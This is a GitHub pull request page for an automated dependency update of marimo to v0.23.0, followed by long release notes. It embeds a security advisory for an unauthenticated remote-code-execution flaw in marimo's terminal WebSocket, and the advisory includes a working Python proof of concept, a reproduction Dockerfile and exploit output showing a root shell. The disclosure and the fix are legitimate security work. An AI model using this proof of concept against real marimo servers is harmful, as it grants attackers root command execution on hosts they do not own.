Skip to content

chore(deps): update dependency marimo to v0.23.0 [security]#533

Merged
olivermeyer merged 1 commit intomainfrom
renovate/pypi-marimo-vulnerability
Apr 9, 2026
Merged

chore(deps): update dependency marimo to v0.23.0 [security]#533
olivermeyer merged 1 commit intomainfrom
renovate/pypi-marimo-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Apr 8, 2026

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
marimo 0.18.40.23.0 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

GHSA-2679-6mx9-h9xc

Summary

Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.

Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.

Affected Versions

Marimo <= 0.20.4 (current latest)

Vulnerability Details

Root Cause: Terminal WebSocket Missing Authentication

marimo/_server/api/endpoints/terminal.py lines 340-356:

@&#8203;router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # No authentication check!
    await websocket.accept()  # Accepts connection directly
    # ...
    child_pid, fd = pty.fork()  # Creates PTY shell

Compare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):

@&#8203;router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    validator = WebSocketConnectionValidator(websocket, app_state)
    if not await validator.validate_auth():  # Correct auth check
        return

Authentication Middleware Limitation

Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate_auth() calls.

The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validate_auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.

Attack Chain

  1. WebSocket connect to ws://TARGET:2718/terminal/ws (no auth needed)
  2. websocket.accept() accepts the connection directly
  3. pty.fork() creates a PTY child process
  4. Full interactive shell with arbitrary command execution
  5. Commands run as root in default Docker deployments

A single WebSocket connection yields a complete interactive shell.

Proof of Concept

import websocket
import time

# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)

# Drain initial output
try:
    while True:
        ws.settimeout(1)
        ws.recv()
except:
    pass

# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv())  # uid=0(root) gid=0(root) groups=0(root)
ws.close()

Reproduction Environment

FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]

Reproduction Result

With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:

$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3

Suggested Remediation

  1. Add authentication validation to /terminal/ws endpoint, consistent with /ws using WebSocketConnectionValidator.validate_auth()
  2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints
  3. Terminal functionality should only be available when explicitly enabled, not on by default

Impact

An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.


Release Notes

marimo-team/marimo (marimo)

v0.23.0

Compare Source

v0.22.5

Compare Source

What's Changed

This release launches marimo pair — an agent skill that drops AI agents directly inside a running marimo notebook session — along with a cleaner, more responsive data table experience and a slate of reliability fixes.

⭐ Highlights

marimo pair: collaborate with agents inside your notebook

marimo pair is a new agent skill that gives AI agents full control over a running marimo notebook session — accessing live variables, executing cells, installing packages, and building reproducible programs alongside you. This release adds the marimo pair prompt CLI command, a "Pair with an agent" modal in the notebook menu, and a secure --with-token auth flow that keeps credentials out of shell history.

npx skills add marimo-team/marimo-pair

Smarter table headers and responsive column layout

Column headers are now split into a dedicated sort button (cycles asc → desc → clear on click, hidden until hover) and a separate ⋯ menu button for column options. Tables with ≤ 4 columns automatically use natural width with a filler column; larger tables fill the container. Vertical column separators complete the refresh.

✨ Enhancements

  • Surface graph errors on code_mode NotebookCell (#​9057)
  • Add cross-origin authentication token handling for WebSocket URLs (#​9077)
  • Enrich code_mode NotebookCell with runtime status and error (#​9056)
  • LSP root and document URI discovery (#​9019)
  • Made table responsive to no. of columns and improved table header (#​9006)
  • Add concise repr to NotebookCell for better REPL discoverability (#​9036)
  • Add repr, find(), and grep() to _CellsView and improve KeyError messages (#​9034)
  • Add auth token endpoint and --with-token flow for pair programming (#​9003)
  • Fix skill detection for marketplace and plugin installs (#​9021)
  • Propagate kernel-initiated UI value updates to the frontend (#​9014)
  • Decouple skew protection from agent-facing endpoints (#​8993)
  • Add marimo pair prompt CLI command and "Pair with an agent" modal (#​9000)
  • Remove feat flag for storage inspector (#​8987)
  • Migrate @​radix-ui/* packages to unified radix-ui (#​8981)
  • Support anywidget's descriptor API (MimeBundleDescriptor) (#​8972)
  • Inline audio and video in HTML export (#​8931)
  • Adjust styles for table (#​8963)
  • Make data table flush to cell output when it's the only output (#​8954)
  • Improve chart builder tab management UX (#​8957)
  • Persistent top toolbar in data table with search, chart-builder, and other actions (#​8932)

🐛 Bug fixes

  • LSP servers not stopping gracefully on shutdown (#​9084)
  • Skip scratchpad changes in document transaction sync (#​9078)
  • Table hangs when sorting/page-size change triggers cell re-render with style_cell/hover_template (#​9072)
  • Allow custom pickler failure to fall back to default (#​9070)
  • Sanitize traceback HTML to prevent XSS (#​9063)
  • Altair chart fails to render after enabling PNG renderer (#​9049)
  • Use MarimoPlusIcon for "New notebook" action (#​9060)
  • Make _CellsView iterate over NotebookCell objects instead of cell IDs (#​9039)
  • Show which cell defines a variable in multiply-defined error (#​9037)
  • Surface cell errors from _code_mode through scratchpad (#​9030)
  • Gracefully handle delete of unknown cell and read document on reconnect (#​9033)
  • Pass model_id as data attribute to prevent loss on value update (#​9032)
  • Ignore attribute error during websocket closure in certain edge cases (#​9020)
  • Revert "feat: Output Altair SVG charts as base64-encoded images" (#​9017)
  • Resolve duplicate column keys when index name conflicts with column name (#​8999)
  • Do not double encode msgspec values (#​9005)
  • Fix inf rerender tables col sizing (#​8997)
  • Fix double bottom borders for unflushed tables (#​8994)
  • Adjust spacing and border for chart tabs (#​8988)
  • Ignore /lsp/health in wasm (#​8974)
  • Resolve AI SDK URL and headers lazily to handle runtime redirects (#​8973)
  • Fix altair not setting to full-width when width: container (#​8969)
  • Style_cell and hover_template lost when sorting in descending order (#​8915)
  • Account for 0 width arrays (#​8950)

📚 Documentation

  • Add page actions dropdown for AI tools integration (#​9031)
  • Add reactive waterfall selection support (#​9045)
  • Fix duplicate word in OAuth2 example reference (#​9050)
  • Migrate to oxfmt and oxlint (#​8982)

📝 Other changes

  • Add defensive null checks for output channel access (#​7883) (#​9065) (b89c2f7)
  • Re-encode WebSocket proxy query params so spaces use %20 (#​9041) (#​9064) (0579862)
  • [Snyk] Security upgrade path-to-regexp from 8.3.0 to 8.4.0 (#​8983)
  • SVG data URL rendering in layout elements (#​9043)
  • Add option to display error tracebacks inline and in modal (#​8376) (34f87a5)
  • Verbose and attestations (#​9027)
  • Add reactive line selection support (#​8657) (31d1d05)
  • Recover polling file watcher from transient file absence (#​8860) (18617c2)
  • Add reactive bar selection support (#​8787) (0efa6cf)
  • Add cursor agent and auth flow (#​8645) (d735232)
  • Enable single-click selection for reactive Plotly charts (#​8782) (750fb85)
  • Add starrocks catalog support (#​8856) (14e0e13)
  • Resolve GitHub Copilot "Retry Connection" failing with "Agent service not initialized" (#​8925) (#​8976) (7c3cc60)
  • Revert "Update pygments version constraint in pyproject.toml" (#​8979)
  • Cleanup link check (#​8975)
  • Update dependency @​typescript/native-preview to v7.0.0-dev.20260324.1 (#​8958)
  • Update pygments version constraint in pyproject.toml (#​8921)

Contributors

Thanks to all our community and contributors who made this release possible: @​alwaysahustler, @​app/marimo-github-maintenance-bot, @​app/renovate, @​axsseldz, @​daizutabi, @​dmadisetti, @​kirangadhave, @​Light2Dark, @​ManasVardhan, @​manzt, @​mscolnick, @​tschm

And especially to our new contributors:

Full Changelog: marimo-team/marimo@0.22.0...0.22.5

v0.22.4

Compare Source

v0.22.3

Compare Source

v0.22.0

Compare Source

What's Changed

This release brings a unified data table explorer, reliability improvements to the programmatic notebook API that power the new marimo-pair agent skill, smarter numeric formatting in tables, faster mo.persistent_cache, and a contextual tips system in the CLI.

⭐ Highlights

Combined row viewer and column explorer

The row viewer and column explorer panels are now unified into a single tabbed "Table Explorer" pane. A single toolbar button opens and closes the panel; Rows and Columns tabs live inside it, and your selected tab persists across open/close.

Pair programming with marimo-pair

The experimental _code API receives reliability fixes in this release, enabling the new marimo-pair agent skill for pair programming in marimo notebooks.

npx skills add marimo-team/marimo-pair

🚨 Breaking changes

mo.image no longer normalizes uint8 values (#​8889)

Previously, mo.image() normalized all numeric arrays (including uint8) to the [0, 1] float range. Now, uint8 arrays are always rendered with values in [0, 255] without normalization. Two new parameters — vmin and vmax — let you set explicit value bounds for under- or over-saturated displays. If you relied on the old uint8 normalization, pass vmin=0, vmax=1 explicitly.

__marimo__ location now follows sys.pycache_prefix (#​8797)

The __marimo__ directory now respects sys.pycache_prefix, consistent with Python's own __pycache__ placement. This also fixes cache placement for notebooks in nested directories. Existing caches will not be migrated — they can be safely deleted.

Cache version bump (#​8793)

The cache format version has been bumped, invalidating existing caches.

✨ Enhancements

  • Remove auto-instantiate from /api/execute endpoint (#​8943)
  • Use document as source of truth in code_mode _apply_ops (#​8944)
  • Enhance SQLAlchemy engine with safe_execute and inspector methods for SnowFlake (#​8920)
  • Support custom cloudpathlib providers in path normalization (#​8929)
  • Use variable name as download filename in dataframe viewer (#​8811)
  • Unify row viewer and column explorer (#​8905)
  • Fix hide_code not taking effect on kernel-created cells (#​8926)
  • Virtualize data table rows when pagination is disabled (#​8899)
  • Emit document transactions from --watch file reload (#​8846)
  • Remove document mutation from session.notify() (#​8886)
  • Style fix for li & ol: reduce margin and restore original disc (#​8768)
  • Avoid selecting cells in table when interactive elements (#​8862)
  • Lazy-load KaTeX via dynamic import of @​streamdown/math (#​8874)
  • Display startup tips in CLI (#​8836)
  • Add ListSQLSchemas to support lazy schema fetching in datasource panel (#​8824)
  • Auto right-align numeric columns and normalize decimal formatting in tables (#​8887)
  • Mechanism for parallel read/write in mo.persistent_cache (#​8805)
  • Convert fonts from TTF to WOFF2, remove unused font files (#​8873)
  • Prefer tomllib over tomlkit for reading TOML (#​8827)
  • Support markdown in file tree notebook creation (#​8770)
  • Allow code as positional arg in edit_cell (#​8806)
  • Discourage casual cell naming in code mode (#​8804)
  • Rename check to skip_validation in code mode API (#​8803)
  • Document stale globals caveat on ctx.globals (#​8802)
  • Make _CellsView behave like a read-only ordered dict (#​8778)
  • Downgrade model fallback log from warning to debug (#​8773)
  • Add snippet buttons in storage file viewer (#​8737)
  • Isolation when running multiple notebooks in an app server (#​8611)
  • Pass raw data for tables during search and copy text/html to clipboard (#​8622)
  • Support dragging range slider track to move entire range (#​8698)
  • Propagate notebook __doc__ to cell execution namespace (#​8636)
  • Add POST /api/kernel/focus_cell endpoint for external editor integration (#​8497)

🐛 Bug fixes

  • Fix _code_mode cell ID collisions on large notebooks (#​8951)
  • Support datetime values in mo.ui.matplotlib selection masks (#​8940)
  • Sanitize password in frontend render (#​8857)
  • Kill LSP child processes on shutdown to prevent memory leak (#​8927)
  • Replace lodash imports with built-in or custom (#​8878)
  • Remove Content-Length from virtual file StreamingResponse (#​8928)
  • Enforce cell_ids parameter in session serialization and caching (#​8904)
  • File descriptor conflicts in terminal ws (#​8896)
  • Remove matplotlib stretch effect in mo.ui.matplotlib (#​8883)
  • Key pending tasks by event loop (#​8875)
  • Use decoding as a heuristic for binary data, and download accordingly (#​8858)
  • Add script dependencies to data_editor example (#​8867)
  • Fix cached self entries fsspec (#​8863)
  • Provide a warning when toml keys are skipped for security (#​8854)
  • Set file in compilation for app mode linecache and better stack traces (#​8800)
  • Use python -m pip instead of pip --python for PipPackageManager (#​8840)
  • Remove litellm (#​8852)
  • Render data-tooltip in portal to prevent clipping in overflow containers (#​8813)
  • Clamp memory reported in cgroup v1 reports (#​8841)
  • Fix asyncio tasks starved by blocking control loop (#​8825)
  • Keep markdown preview in sync on local edits (#​8832)
  • Stop mac completion bindings from stealing backticks (#​8829)
  • Ignore blank line rules (E302, E305) (#​8815)
  • Fix cells stuck as "needs run" after backend-initiated execution (#​8794)
  • Graceful fallback for unsupported extension dtypes in to_arrow_ipc (#​8785)
  • Harden conversion path for ipynbs (#​8795)
  • Fix console output routing for code_mode run_cell (#​8790)
  • Append .py extension to markdown notebooks for correct ruff formatting (#​8786)
  • Patch html-to-image for PNG export font crash and tainted canvas (#​8754)
  • Exclude index columns for pivot for count/sum agg (#​8769)
  • Markdown bullets inside of details (#​8767)
  • Make the pickling mechanism in mo.cache more robust (#​8761)
  • Recursive private function not detected (#​8762)
  • Fallback static parsing for completely invalid notebooks (#​8723)
  • Fix Ty LSP startup and stale diagnostics in notebook editor (#​8390)
  • Slider editable input ignores debounce bug (#​8682)
  • Fix three issues with mo.mpl.interactive in marimo run mode (#​8760)

📚 Documentation

  • Replace white background in NumFOCUS logo with transparency (#​8812)
  • Add markdown support for documentation with edge middleware and conversion scripts (#​8796)

🔬 Preview features

📝 Other changes

  • Refactor session extensions to use EventAwareExtension base class (#​8678)
  • Update dependency yaml to v2.8.3 [security] (#​8902)
  • Update dependency path-to-regexp to v8.4.0 [security] (#​8913)
  • Bump yaml from 1.10.2 to 2.8.3 (#​8897)
  • Update dependency yaml to v2.8.3 [security] (#​8891)
  • Lint configuration (#​8560)
  • Make transitionCell pure by injecting parseOutline (#​8729)
  • Add new NotebookDocument model (#​8842)

Contributors

Thanks to all our community and contributors who made this release possible: @​abhiyadav2345, @​akshayka, @​app/dependabot, @​app/marimo-github-maintenance-bot, @​app/renovate, @​Bortlesboat, @​daizutabi, @​dmadisetti, @​kirangadhave, @​koaning, @​Light2Dark, @​manzt, @​mauro-cerzosimo, @​mscolnick, @​peter-gy, @​Sushit-prog, @​tomneep

And especially to our new contributors:

Full Changelog: marimo-team/marimo@0.21.1...0.22.0

v0.21.1

Compare Source

v0.21.0

Compare Source

Builtin interactive matplotlib

mo.mpl.interactive() has been rewritten to use marimo's built-in communication channel instead of a separate server and WebSocket proxy. This means interactive matplotlib plots now work with no background threads or separate server process needed.

Download notebooks as ipynb

You can now export your marimo notebook as a Jupyter .ipynb file directly from the editor's download menu. Cells are exported in visual order with their captured outputs included.

🚨 Breaking changes
  • Altair charts no longer stretch to full container width by default (#​8696). Previously, marimo set width: "container" on all Altair charts, which distorted aspect ratios, made charts look different from the Altair docs. Charts now render at Altair's native default size. If you want a chart to fill the container width, set width="container" explicitly in your chart spec.
✨ Enhancements
  • Accept list args in ctx.install_packages (#​8703)
  • Add different auth options for Snowflake in the UI (#​8661)
  • Add read file and download snippets for storage inspector (#​8640)
  • Ruff config discovery for notebook cell formatting (#​8609)
  • Move matplotlib interactive to use marimo comm instead of over WS (#​8612)
  • Refine type inference for cache decorators (#​8629)
  • Improve command palette search with additional keywords (#​8600)
  • Download notebooks as ipynb through UI (#​8582)
  • Standardize file explorer icons, colors, spinner (#​8571)
  • Add banner about GitHub free tier models (#​8575)
  • Wait for buffered stdout/stderr before reading MCP execution results (#​8577)
  • Format CellSelectionStats (proper aggregation, 3 decimal places) (#​8564)
  • Storage inspector fixes and code gen update (#​8566)
  • Add the ability to control the cache (#​8311)
  • Add reactive histogram selection support (#​8489)
🐛 Bug fixes
  • marimo export ipynb to support command-line arguments (#​8709)
  • Tag install location on ModuleNotFound to distinguish installation on server vs kernel (#​8619)
  • Fix copy to clipboard on Safari (#​8587)
  • Debounce clearing of console outputs to prevent flickering (#​8621)
  • Use explicit multiprocessing getcontext("spawn") (#​8705)
  • Fix loguru messages not being printed (#​8697)
  • Convert decimals to float64 for filtering in tables (#​8706)
  • Catch generic exception when export to PDF (#​8704)
  • Use request path to scope code-mode runtime behavior (#​8702)
  • Add global previewed tables state (#​8630)
  • Re-render mutable Html children in vstack/hstack on flush (#​8626)
  • Fix Plotly selections returning points outside the selected range (#​8685)
  • Ignore sql_refs for top level determination (#​8673)
  • Send absolute path to frontend for file_browser (#​8668)
  • Handle rust panic errors when getting config for obstore (#​8658)
  • Don't search winpython in scanner for workspace files (#​8633)
  • Correctly handle IPv6 (#​8650)
  • Relative CSS paths (#​8654)
  • Clamp the height and add overflow for storage inspector error (#​8647)
  • Handle matplotlib boxplot/violinplot dict outputs (#​8540)
  • Preserve TypeIs/TypeGuard narrowing through @app.function, @mo.cache, and @mo.lru_cache (#​8598)
  • Truncate HTML output of run stale cells tool (#​8578)
  • Do not prompt for overwrite when exporting WASM to an empty directory (#​8591)
  • Fix keyboard shortcuts normalization (#​8576)
  • Only display "Jump to page" when >100 pages (#​8563)
  • Prevent NameError in marimo run when passing mo.md() between cells (#​8692)
  • Fix vim macros duplicating inserted characters (#​8470)
  • Forward cell names and configs on external file reload (#​8433)
  • Prevent getnameinfo hang on Windows for link-local IPv6 (3b8b9bd)
  • Initialize cell_ids on notebook creation (#​8310)
  • Remove SVG <title> tooltip from marimo icons (#​8595)
  • Idempotent ipynb round-trip (#​7939)
📚 Documentation
  • Enable storage inspector by default (#​8666)
  • Add database UI - add text to help users (#​8675)
  • Add variable type information to 'get_cell_dependency_graph' (#​8663)
  • Sync Traditional Chinese README with latest updates (#​8638)
  • Link to docs in language server page (#​8614)
  • GitHub molab (#​8604)
  • Iframe allow forms for ui.form (#​8602)
  • Export, publishing, deploying refactor (#​8581)
  • Simplify agents.md, add general approach to PRs (#​8583)
  • Document session files for molab GitHub previews (#​8573)
  • Add section on opencode agent (#​8567)
  • Molab (#​8554)
🔬 Preview features
  • Add internal code mode module for programmatic notebook control (#​8670)
  • Add server registry and SSE execute endpoint (#​8592)
📝 Other changes
  • Update Dockerfile with metadata labels, environment variables, and user permissions (#​8637)
  • Remove GPT 5.4 pro (#​8660)
  • Add newest GPT model, remove GPT 5.2 (#​8586)
  • Remove old AI models, add latest ones (#​8129)
  • Replace hatch env layer with native uv commands (#​8510)
  • Prevent make dev from rewriting api.yaml version on event (#​8334)
  • Fix broken tests on main (#​8653)
  • Fix breaking tests for pandas support (#​8593)
  • More hatch -> uv failures (#​8655)
Contributors

Thanks to all our community and contributors who made this release possible: @​akshayka, @​axsseldz, @​chentoast, @​daizutabi, @​dmadisetti, @​ffmiruz, @​koaning, @​Light2Dark, @​manzt, @​MarcoGorelli, @​mchav, @​mscolnick, @​peter-gy, @​PranavGopinath, @​thliang01, @​tigretigre, @​tsubasakong, @​VishakBaddur

And especially to our new contributors:

Full Changelog: marimo-team/marimo@0.20.4...0.21.0

v0.20.4

Compare Source

v0.20.3

Compare Source

What's Changed

This release brings improved PDF export with slide deck support and interactive widget rasterization, along with spreadsheet-style selection statistics for data tables.

⭐️ Highlights

Export slides as PDF

Notebooks using the slides layout can now be exported as PDF:

marimo export pdf --as=slides

The UI automatically recommends the right preset based on your notebook's layout.

Additionally, the new --rasterize-outputs flag captures interactive widgets (Plotly, anywidgets, etc.) as images in PDF exports — so your interactive components are preserved in the final document. Read the docs for more details.

Summary statistics for selected cells in data tables

Select two or more cells in a data table to see count, sum, and average of the selected numeric values — just like a spreadsheet. Works with mo.ui.table and mo.ui.dataframe.

Smart previews for SQL and markdown cells in the minimap

The dependency minimap now shows the actual content of SQL and markdown cells instead of unhelpful boilerplate like mo.sql(f""".

✨ Enhancements

  • Add storage/database connections UI (#​8528)
  • Add marimo export session CLI tool (#​8533)
  • Export slides as PDF (#​8523)
  • Add simpler page selector with text input (#​8532)
  • Add storage file viewer and unify components (#​8500)
  • Disable "Open in Vega Editor" link in ChartBuilder (#​8503)
  • PathState follows os.PathLike ABC (#​8403)
  • Stream virtual files instead of buffering entirely in memory (#​8499)
  • Render web elements in PDF export (#​8458)
  • Expand uv_build semver range to "<0.11.0" (#​8502)
  • Improve DuckDB EXPLAIN rendering to show clean query plan text (#​8487)
  • Unify Marimo icons to SVG and improve component structure (#​8471)
  • Add dark and light logos for more storage providers (#​8476)
  • Storage download with signed url and vfile cleanup (#​8441)
  • Show smart previews for SQL and markdown cells in minimap (#​8466)
  • Dynamic gallery index refresh on marimo run <folder> --watch (#​8460)
  • Output Altair SVG charts as base64-encoded images (#​8443)
  • Add option to create notebook from file tree (#​8412)
  • Add Dataframe download separator (#​8318)
  • Add reactive scattergl selection support (#​8490)
  • Add html_head parameter to create_asgi_app() (#​8302)
  • Add get_cell_dependency_graph MCP tool (#​8174)
  • Add expand console output button (#​7919)
  • Add summary statistics for selected cells (#​8326)
  • CLI error UX improvements (#​8375)

🐛 Bug fixes

  • Preserve SVG elements and href attributes in sanitization (#​8520)
  • Improve storage protocol detection (#​8513)
  • Safer ends_with_semicolon with token errors (#​8548)
  • Fix pdb arrow navigation (#​8543)
  • Use custom renderer for marimo elements for chatbot (#​8546)
  • Memory leak in ASGI session cleanup (#​8495)
  • When parent dir is searched, child files should be open too in storage-inspector (#​8525)
  • Fix Panel DynamicMap and interactive streams not updating (#​8538)
  • Return cell name in run mode (#​8524)
  • Skip weave on windows (#​8539)
  • Latex in notebook outline (#​8505)
  • Remove duplicate separators in action menus (#​8509)
  • Add "marimo-sidebar" to excluded tags in outline (#​8504)
  • Fix matrix widget showing stale values after cell re-execution (#​8507)
  • Fix mo.cache returning stale values (#​8411)
  • Detect symlinked files inside assets directory for follow_symlink warning (#​8474)
  • Render all markdown cells in snippets, not just the title cell (#​8480)
  • Preserve cell config (hidden/disabled) on undo delete (#​8483)
  • Implement no-op edit skipping in EditNotebookTool (#​8486)
  • change copilot endpoint to follow pydantic-ai (#​8481)
  • remove duplicated system prompt (#​8482)
  • Prevent TTL timer from killing session when new consumer reconnects (#​8461)
  • Fix SQL cell deps lost when duckdb fails to parse normalized SQL (#​8437)
  • Handle gallery crash on file deletion (#​8459)
  • Stop serving duplicate notebooks when auto_download is set (#​8462)
  • Perform a vectorized search for tables (#​8450)
  • Plotly-resampler (and other FigureWidget subclasses) not working in marimo by routing FigureWidget through the anywidget formatter and syncing widget state via _repr_mimebundle_(). (#​8430)
  • More sql prepared statements and quoting (#​8431)
  • Hide unsupported codemirror language warning when LLM generated (#​8432)
  • Exclude kernel memory from server memory stats to prevent double-counting (#​8426)
  • quote duckdb tables, schema with double quote (#​8387)
  • Sql explain query with newline (#​8428)
  • Normalize paths in file router to prevent HTTPException with dotdot paths (#​8425)
  • Use dynamic filename for "Download image" context menu (#​8408)
  • External cells should not capture vscode cells (#​8401)
  • Fix sql validation errors not cleared on cell-language switch (#​8388)
  • Fix command palette not restoring focus to editor on close (341af73)
  • Handle with_dynamic_directory mounted at sub-path (#​8322) (#​8434)
  • Prevent stale closure in useNonce hook (#​7763)
  • Normalize math rendering in docs panel and LSP tooltips (#​8315)

📚 Documentation

  • Fix authentication middleware example to use pure ASGI middleware (#​8473)
  • Add cli option to disable DNS rebinding protection for the MCP server (#​8464)
  • Add docs for supported LSPs (#​8463)
  • Add wasm example for matplotlib to docs (#​8415)

🔬 Preview features

  • Add storage inspector (#​8299)
  • Add experimental code-mode MCP server (#​8477)

Contributors

Thanks to all our community and contributors who made this release possible: @​24f2006299, @​akshayka, @​Antyos, @​app/renovate, @​axsseldz, @​bxff, @​daizutabi, @​dmadisetti, @​ffmiruz, @​giulio-leone, @​kyrre, @​Light2Dark, @​manzt, @​mscolnick, @​peter-gy, @​tigretigre

And especially to our new contributors:

Full Changelog: marimo-team/marimo@0.20.2...0.20.3

v0.20.2

Compare Source

This release improves the experience of imperatively writing output with mo.Threads, and also includes an important bug fix for mo.ui.matplotlib selection.

⭐️ Highlights

Write to a single cell's output with multiple threads

It is now possible for multiple mo.Thread objects to write to a single cell's output area using mo.output.append().

Communicate progress to the user with a thread-safe progress bar

mo.status.progress_bar is now thread-safe, making it possible for multiple mo.Thread objects (started in the same cell) to update a single progress bar. This lets you communicate progress to the user when multiple threads are sharding work. (Example notebook.)

Mend Renovate. View the repository job log.

@renovate renovate bot added bot Automated pull requests or issues dependencies Pull requests that update a dependency file renovate Pull requests from Renovate skip:codecov Skip Codecov reporting and check skip:test:long_running Skip long-running tests (≥5min) labels Apr 8, 2026
@renovate renovate bot added bot Automated pull requests or issues renovate Pull requests from Renovate skip:test:long_running Skip long-running tests (≥5min) skip:codecov Skip Codecov reporting and check labels Apr 8, 2026
@renovate renovate bot force-pushed the renovate/pypi-marimo-vulnerability branch from a1142ab to 0ba06ff Compare April 9, 2026 06:50
@sonarqubecloud
Copy link
Copy Markdown

sonarqubecloud bot commented Apr 9, 2026

@olivermeyer olivermeyer merged commit 1b1b4b6 into main Apr 9, 2026
25 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bot Automated pull requests or issues dependencies Pull requests that update a dependency file renovate Pull requests from Renovate skip:codecov Skip Codecov reporting and check skip:test:long_running Skip long-running tests (≥5min)

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant